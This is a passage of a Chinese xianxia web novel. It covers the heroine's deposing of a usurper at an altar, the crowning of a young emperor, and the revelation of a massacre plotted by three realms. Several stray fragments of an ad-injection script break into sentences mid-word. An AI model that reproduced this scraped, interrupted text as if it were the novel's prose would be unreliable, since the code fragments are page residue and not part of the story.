钟尽一看过手中最后一册后,又拿过衡游身前的细细看下去。 至于夙昼,他看似最清闲,实则在搜集书册的时候几乎全翻了一遍。眼下,他不是一口吃一块桂花糕,就是起身去沏茶喝水。 “我天哪!”薛沐忽然惊叫道:“上仙从哪搞来的?怎么连我出生的时辰画像都有啊……真是太羞耻了。” 此话一出,容晚随即伸手,“我看看?” “不行,我小时候没穿衣服。”薛沐大喊道。 “乖。”容晚微眯着眼眸,从他手里拿过,却是往前翻去。 “上仙,您看谁啊?”薛沐伸长脖子来看。 “你哥。”容晚道。 “哪个哥?” “薛辞。” “哦……上仙那你为啥不问我嘞?”薛沐打了个哈欠,声音含糊:“这里面有的真有的假,有的好笑……” “哪些好笑?”容晚不再看手中的书册,问众人道:“关于薛辞身世,都有哪些说辞?” “并非亲子。”夙昼在搜集 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 籍册时,翻看太多,看过就忘,依稀记得有人说太子薛辞并非帝王亲子。 “怎么可能?”薛沐争辩说:“我哥和我都是母后所生!我们兄弟手足,我怎么可能不知道,他是不是我亲哥?” 夙昼猛然掐住手心,他侧过脸,透过窗格望见案几上的一堆星星果。他无颜同薛沐争辩,沉默许久。 “师父。”钟尽一递过来一本籍册,道:“宫中有一位夙妃娘娘,早皇后一日产子,其子早夭。不过三日,暴毙而亡。” “我知道她!”薛沐拉了一把夙昼,道:“是你们家的旁系还是分支,我不记得了。但她没有暴毙,而是离宫了。” “我不知道,家中长辈无人提起过。”夙昼道。 容晚一惊,先前夙昼搜集的宫廷画像图册中,是有一位夙妃。她取出问:“是她吗?” “画错了。”薛沐道:“这是我母后。”他翻到另一页,感叹道:“诶?这怎么也错了?我不认识。” 容晚看过皇后那一页,只觉面熟。 这时,钟尽一忽然出声。他声音有些颤抖,道:“这是我父亲的第一任妻子,我的生母钟山梦。可母亲从未离开过钟氏,按这画册的绘制时间,母亲已然故去多时。” 平地惊雷起,几人俱是大惊。 薛沐怔愣问:“那为什么会在宫廷画像上?好奇怪啊?” 是啊,好奇怪。 容晚望着钟尽一的面貌,她细细地同画像比对,只觉他不像钟山梦。而他非钟鸣亲子,那生父是谁?钟尽一显然不知。 容晚盯着钟尽一,看得出神。 “上仙你看他干嘛?”薛沐问:“我倒是觉得他们有点像。虽然没有那么像,但是像的。而且我哥——” 容晚猛然出手捂住薛沐的嘴,揪着他的衣襟出了灵器。又一抬手,将那几人关在灵器内。 “说吧。”容晚松开薛沐。 “咳!”他脸颊憋得通红,疯狂咳嗽着,问:“上仙你捂我嘴!” 联系着那些所谓的密辛,薛弃闲买凶杀子,出让江山,容皓褚尽欢有意杀薛辞……容晚心中隐约有一个令人疯狂的猜测。 “刚刚想说什么?”容晚问。 “咳咳——我哥和那个……钟尽一的母亲很像。”薛辞说得越发认真,“特别特别像。” 他忽然一愣,想起方才看过的某一册密辛,颤颤巍巍道:“我哥会不会不是亲生的?那、那、那钟尽一是我哥?” “可能,只是可能。但这件事别告诉任何人,谁都不行。”容晚忽然扶正薛沐的肩膀,语重心长道:“薛沐,我答应过你父王,扶持你守薛氏江山,你要——” “什么?”薛沐懵然道:“我不想……” “你必须做。薛铎无道,杀你父王,而‘薛辞’之死,牵涉众多。当然,他或许真的不是薛辞。” “我父王不是生病吗?”薛沐怔愣着,身子一软摔坐在地上,躲开容晚扶他的动作。他很少哭,可此时眼睛通红,声音碎在风里,“我哥不是我哥?” 也许…… 可此刻容晚心中所惧,是夙昼的身世。 夙昼恐怕也不是夙昼。 40. 血溅山河 关于即位一事,容晚同薛沐交锋过几回,任她如何劝、如何逼,薛沐不为所动。他先说怕死,又说自己不够聪慧,没有帝王野心。 容晚:“……” 哪里能想到,扶持薛沐上位,最难的是说服薛沐,这个心性如闲云野鹤般的小金蛋皇子,怎么会愿意做皇帝。 “薛氏江山,不能落在薛铎手里,你不想报仇吗?”容晚问。 “怎么报仇?上仙要带着我逼宫篡权吗?还是您和师父帮我杀了薛铎?薛铎已经登基了,我怎么争都是名不正言不顺……不如随他去……”薛沐两眼发懵,呆呆地坐在院中。 “真的这么想吗?”容晚俯身扶住他的肩膀,道:“如果你才是名正言顺呢?再说帝王之道,你师父可以教你,我可以为你寻老师。最重要的是诏书上是你的名字。” “我?”薛沐猛然抬眸,他眼中迷茫、困顿,下意识摇了摇头,说:“父王不会传位给我的。” “他会。”容晚道:“我们都会扶持你。” “我……真的可以吗?” “当然。” “那我会努力做一个好皇帝。” 达成共识后,容晚收回笼罩整个小院的灵器,却只见两道剑光凌厉地朝她冲来。 薛沐飞快地躲在容晚身后,“上仙我不拖累您。” “做什么?”容晚抬手一拦,两道剑光倏然化成人形。 夙昼同钟尽一面面相觑,两人俱是面色发红,互相侧过脸,谁也不看谁一眼。 “怎么打起来的?”容晚问。 “……” 衡游先前在灵器内是趴着睡觉,出灵器后,依然趴在原处。 看来是问不出原因了。 “走了。”容晚在圆桌上轻叩三下,说:“阿昼、尽一记得时刻照看好薛沐,我们——” “叫我干嘛?”衡游迷茫不已,他看着容晚身后神色怪异的薛沐,更是困惑。 “我们去人间界王城。”容晚淡淡道:“夺权,杀……生擒薛铎。” 夙昼神色淡淡,站在薛沐身后,却同钟尽一避开很远。隔着薛沐,两个人又是一言不发。 薛沐拼命捂着嘴偷笑,又不敢笑得太放肆。 容晚实在无语,只说:“回来后,我们三个一起打一架。” “刺激。算我一个。”衡游随即从院子里抱起打盹的墨麒,说:“变大,变大,有好玩的了,快去人间界!” 一行人穿过夙州结界,一路往南,越过沙城、水镇,绕过群山,便是王城。 透过灵识望去,容晚只见长街两侧人山人海,帝王仪仗绵延数里,车辇一路往祭坛去。 “今日祭祀?”容晚问。 “是。薛铎登基不久,今日冬至应是祭天,叩问来年国运吧。”夙昼作为一行人中唯二人间界子弟之一,比薛沐好读书,自然更了解些。 容晚正欲驱使墨麒下落,薛沐打断说:“上仙,薛铎身侧的暗卫都认得我。游街这里百姓太多,不能出乱子。” “以民生为重,你做的很好。”容晚旁敲侧击,指尖叩了下夙昼的剑鞘。 他来日若做三界共主,也当以民生为重。 几人隐匿身形,随着仪仗队伍一路往前。 祭坛之上,薛铎一身明黄色的龙袍,头戴十二龙九珠金冠,面容掩在华美的珠帘之下。 他身侧是一个白衣女子,银丝面具覆面,身形同容晚七分相似。而薛氏现任的家主对她恭恭敬敬,一口一个国师。 怪不得薛铎能借势薛氏,拉拢住薛氏长老为他弃三千灵阶。 原来是容晚自己,不知不觉为他铺了路。 她手中持有国玺、兵符、诏书,薛弃闲老谋深算,必然也在军中、薛氏里留下诏书,为薛沐铺路。 哪成想天下皆是漏风处,薛铎居然知道了白衣的存在。而假白衣这幅身形容貌,怕是褚尽欢调教出来的。 “还请国师代为叩问国运。”薛铎恭敬同假白衣示礼。 假白衣正欲开口,一道闪电自天而落,直劈薛铎身前。 容晚指尖一动,第二道闪电落下,天边奔腾而来滚滚黑云。 百官黎民中爆发惊呼声,竟有老臣跪地大喊:“天降不祥!天降不祥!” 他双手脱下官帽,端正搁于身前,字字泣血道:“先王有诏,白衣辅政,其举荐者为新王。可你狼子野心,扶持奸佞。”他直指假白衣怒道:“误我国运!该杀!” 薛铎脸色几近乌青,偏偏这位老臣历经三朝,朝廷肱骨之臣。明面上自然不能杀,只能指尖丢出一道阵印,让那老臣口不由心。 与此同时,薛沐身形猛然一颤,白衣举荐者为新王,他惊惧地望向容晚,只见她神色淡然,安抚道:“无事。” 话落,容晚抬手扣上一张华美的银丝面具,在几人或是震惊、或是疑惑的目光中走出人群。 “哇!”薛沐拉着夙昼的袖子悄声问:“上仙去假装白衣吗?” “是她。”夙昼道。 “什么?那、那、那个是假的?” “嗯。” “可是她装得好像,连上仙身上的气息都一样。” 钟尽一静静地听着两人说话,一言不发,目光却落在容晚身上。她一袭白衣,素簪挽发,仙人落凡尘。 而她手中居然拿着一方九龙金玺。 沿着汉白玉阶步步往上,容晚的身形现于众人眼前。 薛铎沉声道:“来人!拿下刺客!” 他自然是慌乱的,目光投向身旁的假白衣,可她毫无动作,只是淡淡地望着容晚。 金甲暗卫齐齐围上来,容晚毫无畏惧,一步步走向那位跪伏在地的老臣。她扶起他,轻声说:“我来晚了。” 容晚指尖一蜷,薛铎所下的阵印荡然无存。 那位老臣欣喜道:“您、您便是先王所托?” 容晚含笑点点头,不再同他交谈,搀扶他走向祭坛高处。 薛铎望着两人步步登高,指尖攥拳,掐得掌心通红,可他根本拦不住她。而他身旁的假白衣虽有实力,却如何都不出手。 他忍不住悄声问:“你怎么不动?” 假白衣慵懒地抬眸,眸光落在容晚那双盛着光的瞳眸里,问:“我为什么要动手?你个蠢货,连国玺都拿不到,还敢鱼目混珠,骗我是真的?” 薛铎道:“不可能是假的。你为什么不信我?” 假白衣道:“因为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我更相信她。” 闻言薛沐一愣,他看见容晚搀扶着白发苍白的薛书空朝他们走来。他到底是年轻,心急如焚,出言胁迫道:“君首说过要你帮我。” 假白衣弯唇笑道:“我说过吗?” 此言一出,几近高台的容晚猛然抬眸,她审视着假白衣的神色,唇角若有若无的浪荡笑意,分明是褚尽欢! 褚尽欢索性不再伪装,手指交叠,虚空一拉—— 容晚猛然注意到,四周高墙之上、虚空之内,凭空惊现无数落乌高手,弯弓持箭,箭箭皆是鬼火光箭。 她同衡游递过传音,人群中隐匿的四人彻底藏匿气息。 薛书空年迈,登高阶后,喘息声未平,便问道:“您持有九龙金玺,先王自当留有诏书、兵符。” “自然。”容晚答道。 薛书空眼角泛出泪花,道:“天不亡我薛氏江山!”又暗中抹泪问:“您绝不能扶持薛铎!他——” “我知道。”容晚指尖结印,时刻防备着落乌众人出箭。她面向诸位臣工,举起九龙金玺,沉声道:“先王临终前,留有一道隐秘诏书。先王血笔,痛斥薛铎弑君杀父。” 容晚字字句句落下来,眼尾余光始终落在褚尽欢身上。 “先王临终托白衣辅政,白衣不敢忘先王之志。今日代先王贬斥薛铎,另立新君。” 薛书空正仔仔细细地观看地查验诏书。 薛铎脸色发白,他只觉眼前的日光太过刺目,痛得他两眼干涩发胀。 得知假白衣即是褚尽欢,他言语放得极为卑微,祈求说:“您为何迟迟不放箭?她必然带着薛沐,还有那个夙昼一起来了,您为何——” “你在教我做事?”褚尽欢冷冷瞥过一眼,垂下眸,指尖有一下没一下地轻叩手腕。 “我……” “薛铎。”容晚出言打断,她不曾幻化灵剑,随意从金甲卫手中抽出一把剑,轻声道:“受死,不,束手就擒罢。” 薛铎站着不动,他希冀着褚尽欢能尽快出手,万箭齐发,死人永远不会开口,谁也不会知道今日祭坛发生了什么。 容晚、薛沐、夙昼全都去死! 可褚尽欢迟迟不动,他以容晚的形貌立足于祭坛上,他同她对视,望着她沉静如湖水的眼睛,问:“当年我接任落乌,亦是名不正言不顺,你手中有我的把柄,为什么——” “住口!”容晚冷声道。 当年之事,她不能阻拦。一旦阻拦,后来的一切都会改变,也许这个世界根本不会有夙昼出现。那她怎么还能回家? 褚尽欢抬手一挥,将她拉入虚空之中,他遮蔽掉所有嘈杂的声音,同容晚只能望得见彼此。 他的眸色从未如此困惑过,他问她:“你为什么不像今日揭露薛铎一样,揭露我那道造假的诏书?” “不为什么。”容晚指尖结印,想要破除这里的虚空之术。 “为什么?”褚尽欢攥住她的指尖,问:“你不说……我即刻下令,万箭同发。” 褚尽欢目光冰冷地扫视虚空外的嘈杂人群,道:“你想扶持的那个小皇帝一定会死。你那个小玩物……一定也来了吧。” 他抬手一挥,“放箭——” 41. 一步恩仇 数道箭光悬停于空中,两人灵力相冲,一拦一放,灵力染得天空泛出彩光。 “褚尽欢!放其他人离开!”容晚挣脱他的束缚,抬手起阵。 “为什么?”褚尽欢执拗地问。 同他多说无益,容晚只能坦白,说:“当年落乌先君无道,苍生信你是明主,我们的师父信你,那时的我自然……也信你。” “呵呵……”褚尽欢淡然地笑,“可你如今不信我,你所信的明主是谁啊?” “与你无关。” “容晚,我多想你有些野心,你要做这三界共主,那我一定不同你争。整个落乌都送给你。” “好啊,我来做,你带着你的人离开。立刻离开。” “可惜你不会。”褚尽欢松开容晚,他微微侧过脸,不再看她。 “你知道我不会,还问什么?”容晚眸色一冷,冲破虚空阵眼。她立于祭坛之上,衣裳发丝随风扬起。 薛书空见她眼中恢复神采,即刻道:“先王遗诏!请您另立新君!” 话未落,褚尽欢一抬手,一支鬼火光箭直刺薛书空眼前,随即被容晚拦停。 薛书空行为端方,不卑不亢地捧起九龙金玺,毫不躲闪。 “找死?”褚尽欢怒道。 “薛铎无道!我以我身,护我河山,死得其所!”薛书空字字掷地有声。 容晚护在薛书空身前,她不再言语。也许,只是也许,褚尽欢会动摇。 当年落乌党权之争,先君无道,如何也不下笔诏书。褚尽欢顺应民心,继任君首,自有妖王魔王不服,讥讽他名不正言不顺。 他继任之后,落乌风声不断,其中风声,并非虚言,足以让他失民心。 直至向来避世的仙祖,现身落乌,为褚尽欢作保,风声渐息。那一日,仙祖留下箴言:“为明君,护山河。” 君明,则山河无恙。 “薛铎无道……”褚尽欢神色未明,他忽然偏头,审视着眉目狰狞的薛铎,淡淡落下一句,“看来你的叔父并不信你啊?你的黎民是不是也不信你?” 薛铎辩解说:“薛书空……他只知循礼制,遵祖宗之法,他信我有何用?不如杀——” “蠢。”褚尽欢眼眸一动。 薛铎只觉膝盖一碎,怦然跪在地上,在抬眼,眼前空空如也。 直至四周的鬼火光箭撤去,再无落乌界的气息,容晚倏然松口气,心念一动,捆仙索将薛铎捆成一团。 “褚尽欢果真是睚眦必报。”容晚望着手中的鬼火光箭,有些发愁,她被鬼火灼烧的掌心已是乌黑,如同多年前她对褚尽欢下套那次一样,她也曾烧得他指尖乌黑。 这玩意儿,得寻寻破解之法。 “国师……”薛书空身后是诸位臣子,他们共请她另立新君。 “担不起。”容晚扶起行礼的薛书空,说:“我不懂君王之道,不能为帝师,如今只能做个见证,日后还望列位尽心辅佐。” “那小殿下今日可来?先王遗诏,传位于小殿下。”薛书空在人群中望来望去,便见容晚指尖一抬。 薛沐一身孝衣,现于人群中。自先王故去后,他日日服孝,如今沿着高阶步步走向高位。 列位臣工齐齐跪拜道:“陛下千秋万岁。” 年轻的帝王未着龙袍,未戴冠冕,目光坚定无畏,他轻轻吐纳着呼吸,走至容晚身前,向容晚示礼,说:“多谢上……白衣为我护江山,我无以为报。” “陛下千秋万岁。”容晚俯身微微一礼。 - 人间界权斗的落幕太过于容易。 容晚难免生疑,褚尽欢就此收手的可能微乎其微,而容皓定然在暗处观望,时机一到,恐怕又是一场纷争。 她握着茶盏端坐,旁听着衡游一点点诉苦,他说阿意不论如何也不承认自己是褚空月,甚至要同他和离。 说过阿意,又是薛沐。薛沐即位、祭祖、召见百官,被薛书空带着,除了上朝、批折子,便是召见大臣、日夜读书。 “你不是说宫人一会儿便来送藏书阁玉令?怎么还不来?”容晚听得发困,她招招手唤夙昼来,他这些时日似乎同钟尽一较上劲,两人似乎不太合。 “不是你非要什么玉令?人间界的藏书阁你不是说进就进?”衡游不满,夺过她面前的那几盘点心,一口口吞吃。 “如今薛沐初即位,你作为师父,硬闯王城?不能叫人看了笑话。”容晚侧过脸,见夙昼不动,又唤他:“阿昼。” “师父?”夙昼冷冷道。 “不高兴?”容晚递给他一块桂花糕,支着下巴问他:“你为何同尽一打架?私斗?若是觉得自己长进了,不如——” 容晚抬手出招,手腕一翻,晶白长剑朝他刺来。 夙昼没躲。他眼神有所惑,却像澄澈的汪洋一般,吸引容晚望进去。 “不躲?”容晚问。 “师父罚我,我不能还手。” “若是我要杀你呢?你也不躲吗?” “师父不是说过吗?”夙昼懒洋洋一笑,他眉眼微扬,眸色却是发冷的。 “什么?”容晚有疑。 “师父说……”夙昼抬眸望一样衡游,忍住笑意道:“师父不是说,我的命属于您吗?” “……” “咳——”衡游被噎得脸色发红,他捶了两下胸口,正欲开口,便见殿外匆匆而来的一道人影。 薛沐未曾带禁卫随从,他仍着素白孝衣,顶上冠冕纹银九龙,孤身一人,脚步匆匆地进殿。 “上仙,师父。”薛沐俯身示礼。见容晚起身,他随意在侧位上坐下来,说:“我有一件很重要的事要告诉你们。” 薛铎的目光在夙昼身上停留地格外久,他顿了顿说道:“事关当年夙州一案。” “需要阿昼回避吗?”容晚问。 “你……准备好了吗?”薛沐望向夙昼,见他指尖攥拳,垂下的眼皮遮挡住眼中情绪。 夙昼双肩微微颤抖,倏然抬眸,隐隐血色显得他沾上几分邪气,“有什么没准备好的。” 他手中幻出一把剑,握剑的手青筋暴起,细看之下,亦是颤抖的。 薛沐望向容晚,见她颔首示意,这才说:“当年夙州一案,三界共谋。” 容晚一惊。她知道上因旁观,容皓推波助澜,没成想竟是共谋。 夙昼嗤笑道:“我这么大的能耐啊?连累我一家人,被三界共伐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “只能说你太珍贵了。他们人人都想要你,又怕你怕得不得了,所以不如杀了你。”薛沐道。 “杀我便杀我,为何杀我满门?连无辜百姓都不放过?”夙昼感觉心中的怒气顺着喉咙涌上来,像火焰般烫得喉头一痛,他哽咽道:“是谁?是谁?” 夙昼的眸光扫视着在场所有人。 容皓买凶刺杀太子薛辞他知情,而薛弃闲加价同时买凶,刺杀太子薛辞一事,便落入杀域高手中,又阴差阳错递到他手里。 而薛辞当年同夙州一案关系紧密,他杀之报宿仇。哪成想幕后黑手不止他一人,那薛沐呢?他是不是也知情? 而容晚私下人间界十年,一夜之间离开他,抹去他的记忆。再之后夙州血案,她是不是也知情? 夙昼唇间涌出一口鲜血,眸中染上血色,血灵珠中溢出丝丝缕缕的血色雾气,缠绕他全身,额间似有一枚若隐若现的血印…… “阿昼!”容晚扶住他的肩膀,掌下纯粹的灵力涌入夙昼灵脉,他痛得颤抖了一下,唇边溢出几声痛呼。 “师父?”他低低地笑,他像濒死之辈般喘息,反扣住容晚的颈肩,眉目间暗色颇浓,“师父,你知不知情啊?” “我……”容晚哽咽住。她自始至终知晓他的命运,一步步看他走向要走的路。 夙州血案必然发生,她不能拦、无法拦、拦之即死。而其中隐秘勾结,种种类类,她只是隐有猜测,毫无实证。 容晚迟疑不过一瞬。 可夙昼扬起头,眼中泛起泪花,他松开容晚,身形微晃,又躲过容晚扶他的手,堪堪靠着手中剑方能站稳。 望向容晚微皱的眉心,夙昼看着那双有向来清冷,却总有几丝魅意的眼睛,自嘲道:“师父,您知道啊。我说为什么呢?” 我说为什么您不早一些救我? “阿昼,我不知晓三界共谋,如果容皓参与其中,我不会放过他。你若报仇,我也绝不拦你。” 容晚还想再解释,可此时并非独处之时,她竭力稳住夙昼的情绪,声音轻柔如暖风:“阿昼,我说过,也允诺过你,我在一日,便陪着你一日。我……” “陪着我?”夙昼闭上双眸,虎牙刺破舌尖,他尝到血味,清醒了几分,说:“杀人?放火?祸乱三界?都陪着我?” 容晚沉默了片刻,实话实话:“你知道我不会。” 夙昼眼中已是清明,他伸出手想碰她的脸,抬手的一瞬间,猛然收回。 人行一世,步步向前路。这一步不知因,那一步不知果。 哪步错?哪步对? 哪一步是恩?哪一步为仇? 夙昼不知道。但他知—— 如若没有容晚,他会死在那个寒凉雪夜,亦或是冰天雪地的禁狱囚牢,亦或是那场暴雪下的梅林里,亦或是魂残灵废时死于自己的道心。 如果没有您,我或许死过千次万次。 夙昼望着容晚如琉璃般澄澈的眼眸,忽觉他好似一方小世界,灰天里落下一阵暴雪,她像雪时暖阳,悬于天幕,永坠不落。而他得以看见脚下的影子,眼前的光…… 他压抑着自己的呼吸和心跳,淡淡说:“可我还是……” 42. 一步恩仇 望着容晚朝他伸来的手,夙昼眸中绯色渐浓,只觉灵脉内无数血灵汹涌如浪潮。 他猛然抓住容晚的手,拽得她身形一晃,半跪在地。 “阿昼?”容晚不明所以,他攥得她手心极痛。 夙昼眸中聚起一丝丝绯色光亮,他握着她的手,用狭长艳丽的眼眸望向她。 他声如呢喃道:“师父……” “我在。”容晚轻抚他的颈肩,说:“醒醒?” “师父,我不应该的,可我还是……”夙昼茫然的瞳眸转动着,他舔了下唇边的虎牙,尝到血味时,一手握着容晚的手,另一手攥住容晚的肩膀。 他觉得有一句话自胸口喷涌而出—— “师父,可我还是喜——” 一枚银针以破风之势刺来,夙昼颈后灵元一痛,倒在容晚身上。 “他疯了吧……”衡游深呼一口气,收回手中的灵针,感叹说:“一针就倒,还以为要多出几针,我还是怪厉害的。” 容晚抚着夙昼,将他放在软塌上后,侧过脸问衡游,“他怎么回事?” “心绪过激,灵脉紊乱,嗯……”衡游探查夙昼的灵脉,好一会儿,才继续说:“还有点兴奋?” “兴奋?”容晚不解。 “也许是想起满门惨案,可他如今实力不凡,定能报仇雪恨,所以太兴奋了吧。” 衡游敲了下夙昼的脑袋,向容晚道:“不知道他一天天想什么?有些事情,就不该天天想。郁结伤身……” “他不是上因那些可以痛快玩乐,日日欢歌的世家子弟。”容晚望着软塌上双眸紧闭的青年,淡淡说:“他的路,从来都不容易。” “可不是?”衡游趁此机会,又在夙昼身上扎下许多灵针,替他调理灵脉。 “上仙,我继续说吗?还是等夙昼醒来,我们再谈?”薛沐时刻观望着夙昼,如今他是他最亲近的兄弟,自然要顾及他。 “等他醒来吧。”容晚想,这些事情他应该亲耳听到。 “他醒着啊。”衡游手下又落一枚灵针,说:“他听得见,只是不能动,不过心绪不会不稳,灵脉不会爆冲。我看现在说挺好的。” 容晚点点头。 “既如此,我知无不言。”薛沐道:“我登基后,方进入王城密阁。当年三灵混体一说,以及三界如何互通,俱有记载。” “王城密阁?”衡游惊问:“从没听说过人间界有这个地方。” “不足为奇。”容晚说:“上因界亦有密阁,不过只有容皓可以进去。诡道阵印,只识人。” “上仙说得不错。”薛沐道:“王城密阁,也是识人。唯有新皇登基后,才能入内。所以,这些事,薛铎应该知道。” “薛铎在哪儿?”容晚问。 “他在密阁,由薛氏几位长老亲守。刑司人多眼杂,我不放心。”薛铎问:“您要立刻见他吗?” “好小子,小时候在我那儿,连点心都只知道藏被子里,如今心思缜密啊。”衡游抬手在薛沐额上敲了一下。 “师父拿我说笑。”薛沐唇边淡淡地笑。自从薛弃闲薨逝以来,他每日事务众多,不得休息。时间久了,便很少笑,随意一坐,便能窥见帝王威严。 “陛下如今千秋万岁。”衡游微微拱手笑道。 这师徒两人向来欢脱,如今薛沐冷一些,让容晚有些心酸。 他该是随意做个逍遥小弟子的。 “所以三界为何忌惮夙昼?仅仅是三灵混体吗?”容晚觉得不是,但其中纠葛过于复杂。此等机密要事,必定列为密辛,轻易不会传出。 薛沐将此事娓娓道来—— “三界共主。他们人人想做三界共主,却又人人畏惧三界共主不是自己。我父王有野心,有实力,却没有漫长的生命。想来是在为我谋划。所以他利用当年的太子薛辞,以太子亲兵屠戮夙州。” 薛沐深深望了夙昼一眼,又道:“是我们家欠了他、害了他。” 容晚安静地听他诉说,眸光落在不远处的夙昼身上。他躺在软榻上,面上、身上是透过窗格投射的光影,明明灭灭。 他们二人情同兄弟,却注定无法做兄弟。来日真相一点点地揭露,二人必是激烈争端。 “上因界。我们的仙门首座毫无弱点,他怎么会不争?上仙当年得诏,下界杀三灵混体,便是那一回,上仙带回夙昼,百般相护。尽管首座公告三界,三灵混体已死,夙昼不过是你随便捡回的孤儿,但——谁会相信呢?” 容晚一愣,是啊,杀人当斩草除根,她当年护下夙昼这一株小草,便是最大的缺漏。 谁会相信? 恐怕只有褚尽欢。他会质问她夙昼只是一个玩物,他相信的。所以他会在落乌界放过夙昼,换容晚一个五指成契的允诺,会一次次对他们手下留情。 “至于落乌君首,他是上仙与师父的昔日同门,你们一定比我了解他。他自负、桀骜、想要什么一定要抢到手,抢不到手便杀了。” “他是这样。”容晚淡淡道。 “所以褚尽欢最先出手,亲率杀域乌卫,屠了夙州所有的禁卫和各个世家的府兵暗卫,甚至连落籍夙州而身在别州的,但凡有灵脉灵元,人兽草木,通通都不曾放过。” 容晚下意识地倒吸一口凉气,又听薛沐继续说道。 “所以,当年太子亲兵入夙州时,所屠所杀全是……”薛沐言语哽咽,他眸中泛起猩红血色,他不理解父王和太子哥哥所作所为。他继续说:“全是手无寸铁之力的百姓,上至八十老人,下至襁褓婴孩。” “真该死啊。”容晚冷笑道。 明明这里只是一本仙侠话本,她却周身冰凉,灵脉中寸寸皆是刺骨之意。 如果当时她早些插手夙州血案,会不会一切都不一样—— 【警告:宿主人为阻碍剧情进程,将会强制抹杀。这个世界自然会随之崩塌。】 【系统温馨提醒:任务进程已过半,您回家的日子已经很近了,请您继续努力,早日回家。】 系统很少同容晚解释,大多时候是一次次的警告,通报违规,偶尔发布具体的任务进程。 容晚的一颗心渐渐冷下来,这里真的只是一个话本里的故事吗? 她望向自己的腕间,那道夙昼留下的不晴剑痕依然存在。 夙昼躺在软榻上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,满身灵针,聚起氤氲灵气,他呼吸绵长而安稳,就像睡着一般。 可他的指尖轻轻颤抖,事关家仇血痕,字字句句,他定是痛彻心扉。 而衡游沉默着不曾言语。他是医者,医者眼中万物无分,以仁为先。他们当年遵循仙律、听从首座,不曾插手,一样有罪。 沉默、沉默地能听见窗外飞雪撞上窗纸,炉中明火燃烧木料,殿内熏香的气味馥郁、浓烈、甚至有些呛人。 一瞬间,容晚似乎闻到浓烈的血味,那一夜,夙州血案的尸山血海。任那日大雪暴烈而下,滚烫热血叫它一分一毫也不能落地。 容晚眸光忽然从夙昼身上移开,她望向殿外模糊视线的大雪,坚定道:“就让我们试一试吧,看看当年血案冤情……会不会再一次被大雪掩埋。” “沉冤昭雪,是不是?”容晚本意是说给夙昼听,她指尖覆在他灵脉上,一道又一道平缓却又波澜潮生的脉流,划过容晚指尖。 “是啊,试一试。”年轻的帝王面容上仍是稚气,他比夙昼小了二三岁。 此刻容晚才透过如雪冷光,望见薛沐白色衣袍上,银线密织的九龙团纹。 帝王意气,不关年少,只为本心。 “好啊,我的至交好友,同我的小徒弟都要试试,我自然也要插一脚!”衡游忽然站起身,他径直奔向漫天大雪中,不出一瞬,雪落满头。 “容晚!过来!”衡游在积雪中奔走,踹过好几脚,大喊道:“看一看我们能不能把那些不该落的雪,全都扬起来!” “来了!”容晚唇边挂上几分笑意,她回望了一眼夙昼,拔掉他眼睛上方的两枚灵针,又替他打开眼前的窗扇,这才跑出去。 薛沐俯身,贴近夙昼的耳边,淡淡道:“自从太子哥哥故去,我就拿你当亲哥哥。其实,早在你第一日来上因的那一天,我就想和你做朋友。” “那时候你只顾和我哥说话,根本没注意我这个小不点吧。”薛沐淡淡地笑,他沉默许久,忽然道:“真的对不起啊……我们家害了你们家那么多。” 夙昼灵识清明,容晚拔去的两根灵针,让他能恢复视觉。 他望着眼前的薛沐,心道:“不要说,不必说那句话。” “真对不起啊……若是……若是你要取我的性命报仇,便来取吧。我等着你。” 话落,薛沐不敢看他。他绕出殿门,站在廊下望向在雪中玩闹的衡游、容晚,他如何也扬不起笑意。 薛沐终是抬脚走下石阶,雪花纷纷落下,忽然,一个雪球被衡游砸过来。 他这才扬起笑,俯身抓了把雪,扔回去。 这一幕,透过大开的窗扇,落入夙昼眼中。他躺在软榻上,那双清亮的眼睛望向窗外的三人,热泪满盈,眼眶再也盛不住,顺着脸颊滑落。 他为报仇杀太子薛辞,得知薛沐身份后,他曾说,若是……若是薛沐要取他的性命,便来取罢。 今日,薛沐也如此说。 旁人灭他满门,他自要灭仇敌满门。 可薛辞的满门里有薛沐,容皓的满门里有容晚。 夙昼眸中无比挣扎,他闭了闭眸,又望窗外望去。 43. 一步恩仇 冬去春来,夏至秋过,一年又一年。 上因同落乌战了又战,落乌隐隐有败势。 如今正值三月时分。 窗外伸进来几支桃枝,随风一摇,粉白的花瓣簌簌而落。 容晚不曾拂去案几上的桃花。她煮着一壶春茶,等候着几位将来的客人。 十二年内,容晚同夙昼在人间界长住。而衡游行踪不定,偶有书信往来。钟尽一则在钟氏把持上下,定期来拜访容晚。 而如今人间界的新君薛沐,朝政繁多,他很少过来见容晚,大多时候一道道折子递过来,问她谁人可用、是否有疑虑。 今日的折子迟迟不到。 早已相约见面的衡游也误了时辰。 容晚心生忧虑,再也坐不住,带着夙昼往王宫清和正殿去。 刚出宫门,容晚便撞上一队禁卫,急匆匆来报,“容姑娘,急报!今日巡城,陛下遇刺!如今行踪未明。” 薛沐失踪! 容晚极力冷静下来,此事必同容皓和褚尽欢有关。薛沐身上定有他们想要的东西,是什么呢?是什么? 王城密阁,帝王方可入内。 有人想闯密阁! “阿昼,你亲自去请薛老入宫,我在密阁等你们。”容晚叮咛道:“要快。” 闻言,夙昼身形将散,却突然被容晚攥住手腕,他怔愣问:“师父?” “忍一下。”容晚指尖刺入他的灵脉,留下一道小小的弯月痕迹,指甲般大小。 夙昼不明所以,抬起嘴角朝她一笑。 望着指甲内泛着金光的几滴乌血,容晚沉思半瞬,问:“密阁在哪儿?他们劫持陛下,应当是要闯密阁。” “容姑娘,我……”禁卫首领迟疑不已,他抿唇,深呼一口气,将王城禁令抛之脑后,道:“我等陪您一同前往。” 有些不对劲。禁卫首领,随行陛下。薛沐遇刺,他为什么在王城? 容晚张张唇,什么也没说,任由他召唤传送阵印。 随即,浅白色的传送密阵自几人脚下升起。 密阁位于王城地下,甚是隐秘。夜明珠点缀在望不见尽头的石道中。 容晚眉心一皱,问:“到了?” “是。”禁卫首领道:“容姑娘不曾来过,石道尽头处便是密阁,我陪同陛下——” “陪什么同?”容晚指尖一动,禁卫首领瞬时被她扼住命脉。 